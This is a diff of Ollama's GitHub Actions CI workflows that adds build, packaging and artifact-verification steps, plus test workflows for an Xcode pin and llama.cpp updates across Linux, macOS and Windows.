cache-from: ${{ matrix.cache-from }}
|
||||
cache-to: type=inline
|
||||
- run: |
|
||||
mkdir -p ${{ matrix.os }}-${{ matrix.arch }}
|
||||
@@ -502,6 +587,64 @@ jobs:
|
||||
name: digest-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.suffix }}
|
||||
path: |
|
||||
${{ runner.temp }}/${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.suffix }}.txt
|
||||
- uses: docker/build-push-action@v6
|
||||
with:
|
||||
context: .
|
||||
platforms: ${{ matrix.os }}/${{ matrix.arch }}
|
||||
target: ${{ matrix.archive-target }}
|
||||
provenance: false
|
||||
sbom: false
|
||||
build-args: ${{ matrix.build-args }}
|
||||
outputs: type=local,dest=dist/${{ matrix.os }}-${{ matrix.arch }}
|
||||
cache-from: ${{ matrix.cache-from }}
|
||||
- name: Deduplicate CUDA libraries
|
||||
run: |
|
||||
./scripts/deduplicate_cuda_libs.sh dist/${{ matrix.os }}-${{ matrix.arch }}
|
||||
- name: Verify Linux build payloads
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
base="dist/${{ matrix.os }}-${{ matrix.arch }}"
|
||||
for payload in \
|
||||
"$base/bin/ollama" \
|
||||
"$base/lib/ollama/llama-server"
|
||||
do
|
||||
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
|
||||
done
|
||||
- run: |
|
||||
for COMPONENT in bin/* lib/ollama/*; do
|
||||
case "$COMPONENT" in
|
||||
bin/ollama*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/*.so*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/llama-server*|lib/ollama/llama-quantize*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/cuda_v*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/vulkan*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/mlx*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-mlx.tar.in ;;
|
||||
lib/ollama/include*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-mlx.tar.in ;;
|
||||
lib/ollama/cuda_jetpack5) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack5.tar.in ;;
|
||||
lib/ollama/cuda_jetpack6) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack6.tar.in ;;
|
||||
lib/ollama/rocm_v*) echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-rocm.tar.in ;;
|
||||
esac
|
||||
done
|
||||
working-directory: dist/${{ matrix.os }}-${{ matrix.arch }}
|
||||
- if: matrix.suffix == '-rocm'
|
||||
run: rm -f dist/${{ matrix.os }}-${{ matrix.arch }}/ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in
|
||||
- run: |
|
||||
echo "Manifests"
|
||||
for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in ; do
|
||||
echo $ARCHIVE
|
||||
cat $ARCHIVE
|
||||
done
|
||||
- run: |
|
||||
for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in; do
|
||||
tar c -C dist/${{ matrix.os }}-${{ matrix.arch }} -T $ARCHIVE --owner 0 --group 0 | zstd -19 -T0 >$(basename ${ARCHIVE//.*/}.tar.zst) &
|
||||
done
|
||||
wait
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: bundles-${{ matrix.os }}-${{ matrix.arch }}${{ matrix.suffix }}
|
||||
path: |
|
||||
*.tar.zst
|
||||
|
||||
# Merge Docker images for the same flavor into a single multi-arch manifest
|
||||
docker-merge-push:
|
||||
@@ -541,7 +684,7 @@ jobs:
|
||||
release:
|
||||
runs-on: ubuntu-latest
|
||||
environment: release
|
||||
needs: [darwin-build, windows-app, linux-build]
|
||||
needs: [darwin-build, windows-app, docker-build-push]
|
||||
permissions:
|
||||
contents: write
|
||||
env:
|
||||
@@ -559,6 +702,21 @@ jobs:
|
||||
- name: Copy install scripts to dist
|
||||
run: |
|
||||
cp scripts/install.sh dist/install.sh
|
||||
- name: Verify release artifacts
|
||||
run: |
|
||||
required=(
|
||||
dist/OllamaSetup.exe
|
||||
dist/install.ps1
|
||||
dist/install.sh
|
||||
dist/ollama-windows-amd64.zip
|
||||
dist/ollama-windows-arm64.zip
|
||||
)
|
||||
for payload in "${required[@]}"; do
|
||||
if [ ! -f "$payload" ]; then
|
||||
echo "::error::Missing expected release artifact: $payload"
|
||||
exit 1
|
||||
fi
|
||||
done
|
||||
- name: Generate checksum file
|
||||
run: find . -type f -not -name 'sha256sum.txt' | xargs sha256sum | tee sha256sum.txt
|
||||
working-directory: dist
|
||||
|
||||
@@ -0,0 +1,98 @@
|
||||
name: test-darwin-xcode-pin
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
push:
|
||||
branches:
|
||||
- test/darwin-xcode-pin
|
||||
pull_request:
|
||||
paths:
|
||||
- '.github/workflows/test-darwin-xcode-pin.yaml'
|
||||
- 'scripts/build_darwin.sh'
|
||||
- 'MLX_VERSION'
|
||||
- 'MLX_C_VERSION'
|
||||
- 'cmake/**'
|
||||
- 'x/mlxrunner/**'
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}
|
||||
cancel-in-progress: true
|
||||
|
||||
env:
|
||||
CGO_CFLAGS: '-O3'
|
||||
CGO_CXXFLAGS: '-O3'
|
||||
PINNED_DEVELOPER_DIR: /Applications/Xcode_26.4.1.app/Contents/Developer
|
||||
|
||||
jobs:
|
||||
darwin-build:
|
||||
runs-on: macos-26-xlarge
|
||||
env:
|
||||
CGO_CFLAGS: '-mmacosx-version-min=14.0 -O3'
|
||||
CGO_CXXFLAGS: '-mmacosx-version-min=14.0 -O3'
|
||||
CGO_LDFLAGS: '-mmacosx-version-min=14.0 -O3'
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
|
||||
- name: Set build environment
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
VERSION="0.0.0-xcode-pin-${GITHUB_SHA::7}"
|
||||
{
|
||||
echo "VERSION=${VERSION}"
|
||||
echo "GOFLAGS='-ldflags=-w -s \"-X=github.com/ollama/ollama/version.Version=${VERSION}\" \"-X=github.com/ollama/ollama/server.mode=release\"'"
|
||||
} >>"${GITHUB_ENV}"
|
||||
|
||||
- name: Select Xcode 26.4.1
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
if [ ! -d "${PINNED_DEVELOPER_DIR}" ]; then
|
||||
echo "Missing ${PINNED_DEVELOPER_DIR}"
|
||||
ls -1 /Applications | grep '^Xcode' || true
|
||||
exit 1
|
||||
fi
|
||||
|
||||
sudo xcode-select -s "${PINNED_DEVELOPER_DIR}"
|
||||
echo "DEVELOPER_DIR=${PINNED_DEVELOPER_DIR}" >>"${GITHUB_ENV}"
|
||||
|
||||
sw_vers
|
||||
xcodebuild -version
|
||||
xcrun --sdk macosx --show-sdk-version
|
||||
xcrun --find metal
|
||||
|
||||
- uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache-dependency-path: |
|
||||
go.sum
|
||||
LLAMA_CPP_VERSION
|
||||
MLX_VERSION
|
||||
MLX_C_VERSION
|
||||
|
||||
- name: Build unsigned Darwin runtime
|
||||
run: ./scripts/build_darwin.sh build package
|
||||
|
||||
- name: Verify MLX payload
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
test -f dist/darwin/lib/ollama/mlx_metal_v3/libmlxc.dylib
|
||||
test -f dist/darwin/lib/ollama/mlx_metal_v3/mlx.metallib
|
||||
test -f dist/darwin/lib/ollama/mlx_metal_v4/libmlxc.dylib
|
||||
test -f dist/darwin/lib/ollama/mlx_metal_v4/mlx.metallib
|
||||
find dist/darwin/lib/ollama -maxdepth 3 -type f \( -name 'libmlx*.dylib' -o -name '*.metallib' \) -print
|
||||
lipo -archs dist/darwin/lib/ollama/mlx_metal_v3/libmlxc.dylib
|
||||
lipo -archs dist/darwin/lib/ollama/mlx_metal_v4/libmlxc.dylib
|
||||
|
||||
- name: Log build results
|
||||
run: ls -l dist/
|
||||
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: ollama-darwin-xcode-pin
|
||||
path: dist/ollama-darwin.tgz
|
||||
compression-level: 0
|
||||
@@ -0,0 +1,596 @@
|
||||
name: test-llamacpp-update
|
||||
|
||||
# PR validation artifacts from this workflow are intentionally unsigned and not
|
||||
# notarized. They are for llama.cpp update testing only and must not be
|
||||
# published as release artifacts.
|
||||
|
||||
on:
|
||||
pull_request:
|
||||
paths:
|
||||
- 'LLAMA_CPP_VERSION'
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
env:
|
||||
CGO_CFLAGS: '-O3'
|
||||
CGO_CXXFLAGS: '-O3'
|
||||
|
||||
jobs:
|
||||
setup-environment:
|
||||
runs-on: ubuntu-latest
|
||||
outputs:
|
||||
GOFLAGS: ${{ steps.goflags.outputs.GOFLAGS }}
|
||||
VERSION: ${{ steps.goflags.outputs.VERSION }}
|
||||
vendorsha: ${{ steps.goflags.outputs.vendorsha }}
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- name: Set environment
|
||||
id: goflags
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
VERSION="0.0.0-llamacpp-${GITHUB_SHA::7}"
|
||||
{
|
||||
echo "GOFLAGS='-ldflags=-w -s \"-X=github.com/ollama/ollama/version.Version=${VERSION}\" \"-X=github.com/ollama/ollama/server.mode=release\"'"
|
||||
echo "VERSION=${VERSION}"
|
||||
echo "vendorsha=$(cat LLAMA_CPP_VERSION)-$(cat MLX_VERSION)-$(cat MLX_C_VERSION)"
|
||||
} >>"${GITHUB_OUTPUT}"
|
||||
|
||||
darwin-build:
|
||||
runs-on: macos-26-xlarge
|
||||
needs: setup-environment
|
||||
env:
|
||||
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
|
||||
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
|
||||
CGO_CFLAGS: '-mmacosx-version-min=14.0 -O3'
|
||||
CGO_CXXFLAGS: '-mmacosx-version-min=14.0 -O3'
|
||||
CGO_LDFLAGS: '-mmacosx-version-min=14.0 -O3'
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/setup-go@v5
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
cache-dependency-path: |
|
||||
go.sum
|
||||
LLAMA_CPP_VERSION
|
||||
MLX_VERSION
|
||||
MLX_C_VERSION
|
||||
- name: Build unsigned Darwin runtime
|
||||
run: ./scripts/build_darwin.sh build package
|
||||
- name: Log build results
|
||||
run: ls -l dist/
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: ollama-darwin.tgz
|
||||
path: dist/ollama-darwin.tgz
|
||||
compression-level: 0
|
||||
|
||||
# Build payload export stages independently and combine the exported
|
||||
# filesystem artifacts below. This preserves parallelism without Docker
|
||||
# registry credentials or oversized GitHub layer caches.
|
||||
linux-payloads:
|
||||
runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
|
||||
needs: setup-environment
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
include:
|
||||
- arch: amd64
|
||||
target: publish-llama-server-cpu
|
||||
payload: cpu
|
||||
- arch: amd64
|
||||
target: publish-llama-server-cuda_v12
|
||||
payload: cuda_v12
|
||||
- arch: amd64
|
||||
target: publish-llama-server-cuda_v13
|
||||
payload: cuda_v13
|
||||
- arch: amd64
|
||||
target: publish-llama-server-rocm_v7_2
|
||||
payload: rocm_v7_2
|
||||
- arch: amd64
|
||||
target: publish-llama-server-vulkan
|
||||
payload: vulkan
|
||||
- arch: arm64
|
||||
target: publish-llama-server-cpu
|
||||
payload: cpu
|
||||
- arch: arm64
|
||||
target: publish-llama-server-cuda_v12
|
||||
payload: cuda_v12
|
||||
- arch: arm64
|
||||
target: publish-llama-server-cuda_v13
|
||||
payload: cuda_v13
|
||||
- arch: arm64
|
||||
target: publish-llama-server-cuda_jetpack5
|
||||
payload: cuda_jetpack5
|
||||
- arch: arm64
|
||||
target: publish-llama-server-cuda_jetpack6
|
||||
payload: cuda_jetpack6
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: docker/setup-buildx-action@v3
|
||||
- uses: docker/build-push-action@v6
|
||||
with:
|
||||
context: .
|
||||
platforms: linux/${{ matrix.arch }}
|
||||
target: ${{ matrix.target }}
|
||||
provenance: false
|
||||
sbom: false
|
||||
build-args: |
|
||||
GOFLAGS=${{ needs.setup-environment.outputs.GOFLAGS }}
|
||||
CGO_CFLAGS=${{ env.CGO_CFLAGS }}
|
||||
CGO_CXXFLAGS=${{ env.CGO_CXXFLAGS }}
|
||||
APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
|
||||
APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
|
||||
outputs: type=local,dest=${{ runner.temp }}/payload
|
||||
- name: Pack Linux payload
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
tar -C "${{ runner.temp }}/payload" -cf - . | zstd -9 -T0 >"${{ runner.temp }}/linux-payload-${{ matrix.arch }}-${{ matrix.payload }}.tar.zst"
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: linux-payload-${{ matrix.arch }}-${{ matrix.payload }}
|
||||
path: ${{ runner.temp }}/linux-payload-${{ matrix.arch }}-${{ matrix.payload }}.tar.zst
|
||||
compression-level: 0
|
||||
|
||||
linux-go:
|
||||
runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
|
||||
needs: setup-environment
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
arch: [amd64, arm64]
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: docker/setup-buildx-action@v3
|
||||
- uses: docker/build-push-action@v6
|
||||
with:
|
||||
context: .
|
||||
platforms: linux/${{ matrix.arch }}
|
||||
target: publish-go
|
||||
provenance: false
|
||||
sbom: false
|
||||
build-args: |
|
||||
GOFLAGS=${{ needs.setup-environment.outputs.GOFLAGS }}
|
||||
CGO_CFLAGS=${{ env.CGO_CFLAGS }}
|
||||
CGO_CXXFLAGS=${{ env.CGO_CXXFLAGS }}
|
||||
APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
|
||||
APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
|
||||
outputs: type=local,dest=${{ runner.temp }}/payload
|
||||
- name: Pack Linux Go payload
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
tar -C "${{ runner.temp }}/payload" -cf - . | zstd -9 -T0 >"${{ runner.temp }}/linux-payload-${{ matrix.arch }}-go.tar.zst"
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: linux-payload-${{ matrix.arch }}-go
|
||||
path: ${{ runner.temp }}/linux-payload-${{ matrix.arch }}-go.tar.zst
|
||||
compression-level: 0
|
||||
|
||||
# MLX payloads are intentionally excluded from this workflow; the Dockerfile
|
||||
# still exposes publish-mlx for a separate MLX-specific workflow.
|
||||
linux-bundles:
|
||||
runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
|
||||
needs: [linux-payloads, linux-go]
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
arch: [amd64, arm64]
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/download-artifact@v4
|
||||
with:
|
||||
pattern: linux-payload-${{ matrix.arch }}-*
|
||||
path: ${{ runner.temp }}/payloads
|
||||
merge-multiple: true
|
||||
- name: Assemble Linux payload tree
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
src="${{ runner.temp }}/payloads"
|
||||
arch="${{ matrix.arch }}"
|
||||
dest="dist/linux-${arch}"
|
||||
copy_payload() {
|
||||
local name="$1"
|
||||
local payload="${src}/linux-payload-${arch}-${name}.tar.zst"
|
||||
if [ ! -f "${payload}" ]; then
|
||||
echo "missing payload ${payload}"
|
||||
exit 1
|
||||
fi
|
||||
zstd -d <"${payload}" | tar -C "${dest}" -xf -
|
||||
}
|
||||
|
||||
mkdir -p "${dest}"
|
||||
copy_payload go
|
||||
copy_payload cpu
|
||||
copy_payload cuda_v12
|
||||
copy_payload cuda_v13
|
||||
if [ "${arch}" = "amd64" ]; then
|
||||
copy_payload vulkan
|
||||
copy_payload rocm_v7_2
|
||||
else
|
||||
copy_payload cuda_jetpack5
|
||||
copy_payload cuda_jetpack6
|
||||
fi
|
||||
|
||||
./scripts/deduplicate_cuda_libs.sh "${dest}"
|
||||
- name: Verify Linux build payloads
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
base="dist/linux-${{ matrix.arch }}"
|
||||
for payload in \
|
||||
"${base}/bin/ollama" \
|
||||
"${base}/lib/ollama/llama-server"
|
||||
do
|
||||
[ -f "${payload}" ] || { echo "missing ${payload}"; exit 1; }
|
||||
done
|
||||
- name: Create archive input lists
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
for COMPONENT in bin/* lib/ollama/*; do
|
||||
case "${COMPONENT}" in
|
||||
bin/ollama*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/*.so*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/llama-server*|lib/ollama/llama-quantize*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/cuda_v*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/vulkan*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}.tar.in ;;
|
||||
lib/ollama/mlx*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-mlx.tar.in ;;
|
||||
lib/ollama/include*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-mlx.tar.in ;;
|
||||
lib/ollama/cuda_jetpack5) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-jetpack5.tar.in ;;
|
||||
lib/ollama/cuda_jetpack6) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-jetpack6.tar.in ;;
|
||||
lib/ollama/rocm_v*) echo "${COMPONENT}" >>ollama-linux-${{ matrix.arch }}-rocm.tar.in ;;
|
||||
esac
|
||||
done
|
||||
working-directory: dist/linux-${{ matrix.arch }}
|
||||
- name: Log archive input lists
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
for ARCHIVE in dist/linux-${{ matrix.arch }}/*.tar.in; do
|
||||
echo "${ARCHIVE}"
|
||||
cat "${ARCHIVE}"
|
||||
done
|
||||
- name: Create Linux archives
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
for ARCHIVE in dist/linux-${{ matrix.arch }}/*.tar.in; do
|
||||
tar c -C dist/linux-${{ matrix.arch }} -T "${ARCHIVE}" --owner 0 --group 0 | zstd -19 -T0 >"$(basename "${ARCHIVE//.*/}.tar.zst")" &
|
||||
done
|
||||
wait
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: ollama-linux-${{ matrix.arch }}.tar.zst
|
||||
path: ollama-linux-${{ matrix.arch }}.tar.zst
|
||||
compression-level: 0
|
||||
- if: matrix.arch == 'amd64'
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: ollama-linux-amd64-rocm.tar.zst
|
||||
path: ollama-linux-amd64-rocm.tar.zst
|
||||
compression-level: 0
|
||||
- if: matrix.arch == 'arm64'
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: ollama-linux-arm64-jetpack5.tar.zst
|
||||
path: ollama-linux-arm64-jetpack5.tar.zst
|
||||
compression-level: 0
|
||||
- if: matrix.arch == 'arm64'
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: ollama-linux-arm64-jetpack6.tar.zst
|
||||
path: ollama-linux-arm64-jetpack6.tar.zst
|
||||
compression-level: 0
|
||||
|
||||
windows-depends:
|
||||
needs: setup-environment
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
os: [windows]
|
||||
arch: [amd64]
|
||||
preset: ['CPU']
|
||||
build-steps: ['cpu cpuArm64']
|
||||
include:
|
||||
- os: windows
|
||||
arch: amd64
|
||||
preset: 'CUDA 12'
|
||||
build-steps: cuda12
|
||||
install: https://developer.download.nvidia.com/compute/cuda/12.8.0/local_installers/cuda_12.8.0_571.96_windows.exe
|
||||
cuda-components:
|
||||
- '"cudart"'
|
||||
- '"nvcc"'
|
||||
- '"cublas"'
|
||||
- '"cublas_dev"'
|
||||
cuda-version: '12.8'
|
||||
- os: windows
|
||||
arch: amd64
|
||||
preset: 'CUDA 13'
|
||||
build-steps: cuda13
|
||||
install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
|
||||
cuda-components:
|
||||
- '"cudart"'
|
||||
- '"nvcc"'
|
||||
- '"cublas"'
|
||||
- '"cublas_dev"'
|
||||
- '"crt"'
|
||||
- '"nvvm"'
|
||||
- '"nvptxcompiler"'
|
||||
cuda-version: '13.0'
|
||||
- os: windows
|
||||
arch: amd64
|
||||
preset: 'ROCm 7'
|
||||
build-steps: rocm7
|
||||
install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-26.Q1-Win11-For-HIP.exe
|
||||
rocm-version: '7.1'
|
||||
- os: windows
|
||||
arch: amd64
|
||||
preset: Vulkan
|
||||
build-steps: vulkan
|
||||
install: https://sdk.lunarg.com/sdk/download/1.4.321.1/windows/vulkansdk-windows-X64-1.4.321.1.exe
|
||||
runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
|
||||
env:
|
||||
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
|
||||
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
run: |
|
||||
choco install -y --no-progress ccache ninja
|
||||
if (Get-Command ccache -ErrorAction SilentlyContinue) {
|
||||
ccache -o cache_dir=${{ github.workspace }}\.ccache
|
||||
}
|
||||
- if: matrix.preset == 'CPU'
|
||||
name: Install Windows ARM64 cross compiler
|
||||
run: |
|
||||
Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
|
||||
Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
|
||||
$installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
|
||||
if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
|
||||
throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
|
||||
}
|
||||
- if: startsWith(matrix.preset, 'CUDA ') || startsWith(matrix.preset, 'ROCm ') || startsWith(matrix.preset, 'Vulkan')
|
||||
id: cache-install
|
||||
uses: actions/cache/restore@v4
|
||||
with:
|
||||
path: |
|
||||
C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA
|
||||
C:\Program Files\AMD\ROCm
|
||||
C:\VulkanSDK
|
||||
key: ${{ matrix.install }}
|
||||
- if: startsWith(matrix.preset, 'CUDA ')
|
||||
name: Install CUDA ${{ matrix.cuda-version }}
|
||||
run: |
|
||||
$ErrorActionPreference = "Stop"
|
||||
if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
|
||||
Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
|
||||
$subpackages = @(${{ join(matrix.cuda-components, ', ') }}) | Foreach-Object {"${_}_${{ matrix.cuda-version }}"}
|
||||
Start-Process -FilePath .\install.exe -ArgumentList (@("-s") + $subpackages) -NoNewWindow -Wait
|
||||
}
|
||||
|
||||
$cudaPath = (Resolve-Path "C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA\*").path
|
||||
echo "$cudaPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
|
||||
- if: startsWith(matrix.preset, 'ROCm')
|
||||
name: Install ROCm ${{ matrix.rocm-version }}
|
||||
run: |
|
||||
$ErrorActionPreference = "Stop"
|
||||
if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
|
||||
Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
|
||||
Start-Process -FilePath .\install.exe -ArgumentList '-install' -NoNewWindow -Wait
|
||||
}
|
||||
|
||||
$hipPath = (Resolve-Path "C:\Program Files\AMD\ROCm\*").path
|
||||
echo "$hipPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
|
||||
echo "CC=$hipPath\bin\clang.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
|
||||
echo "CXX=$hipPath\bin\clang++.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
|
||||
echo "HIPCXX=$hipPath\bin\clang++.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
|
||||
echo "HIP_PLATFORM=amd" | Out-File -FilePath $env:GITHUB_ENV -Append
|
||||
echo "CMAKE_PREFIX_PATH=$hipPath" | Out-File -FilePath $env:GITHUB_ENV -Append
|
||||
- if: matrix.preset == 'Vulkan'
|
||||
name: Install Vulkan
|
||||
run: |
|
||||
$ErrorActionPreference = "Stop"
|
||||
if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
|
||||
Invoke-WebRequest -Uri "${{ matrix.install }}" -OutFile "install.exe"
|
||||
Start-Process -FilePath .\install.exe -ArgumentList "-c","--am","--al","in" -NoNewWindow -Wait
|
||||
}
|
||||
|
||||
$vulkanPath = (Resolve-Path "C:\VulkanSDK\*").path
|
||||
$vulkanRuntime = Join-Path $vulkanPath "Helpers\VulkanRT.exe"
|
||||
if (Test-Path $vulkanRuntime) {
|
||||
Start-Process -FilePath $vulkanRuntime -ArgumentList "/s" -NoNewWindow -Wait
|
||||
}
|
||||
echo "$vulkanPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
|
||||
echo "VULKAN_SDK=$vulkanPath" >> $env:GITHUB_ENV
|
||||
- if: ${{ !cancelled() && matrix.preset != 'CPU' && steps.cache-install.outputs.cache-hit != 'true' }}
|
||||
uses: actions/cache/save@v4
|
||||
with:
|
||||
path: |
|
||||
C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA
|
||||
C:\Program Files\AMD\ROCm
|
||||
C:\VulkanSDK
|
||||
key: ${{ matrix.install }}
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/cache@v4
|
||||
with:
|
||||
path: ${{ github.workspace }}\.ccache
|
||||
key: ccache-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}-${{ needs.setup-environment.outputs.vendorsha }}
|
||||
- name: Build Windows dependencies
|
||||
run: |
|
||||
Import-Module 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\Microsoft.VisualStudio.DevShell.dll'
|
||||
Enter-VsDevShell -VsInstallPath 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise' -SkipAutomaticLocation -DevCmdArguments '-arch=x64 -no_logo'
|
||||
$steps = "${{ matrix.build-steps }}".Split(' ', [System.StringSplitOptions]::RemoveEmptyEntries)
|
||||
./scripts/build_windows.ps1 @steps
|
||||
env:
|
||||
CMAKE_GENERATOR: Ninja
|
||||
- name: Log build results
|
||||
run: |
|
||||
gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
|
||||
- if: matrix.preset == 'CPU'
|
||||
name: Verify Windows CPU payloads
|
||||
shell: bash
|
||||
run: |
|
||||
set -euo pipefail
|
||||
for payload in \
|
||||
dist/windows-amd64/lib/ollama/llama-server.exe \
|
||||
dist/windows-arm64/lib/ollama/llama-server.exe
|
||||
do
|
||||
[ -f "$payload" ] || { echo "missing $payload"; exit 1; }
|
||||
done
|
||||
- uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: depends-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}
|
||||
path: dist\*
|
||||
compression-level: 0
|
||||
|
||||
windows-build:
|
||||
runs-on: windows
|
||||
needs: setup-environment
|
||||
env:
|
||||
GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
|
||||
VERSION: ${{ needs.setup-environment.outputs.VERSION }}
|
||||
steps:
|
||||
- name: Install clang and gcc-compat
|
||||
run: |
|
||||
$ErrorActionPreference = "Stop"
|
||||
Set-ExecutionPolicy Bypass -Scope Process -Force
|
||||
Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
|
||||
Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
|
||||
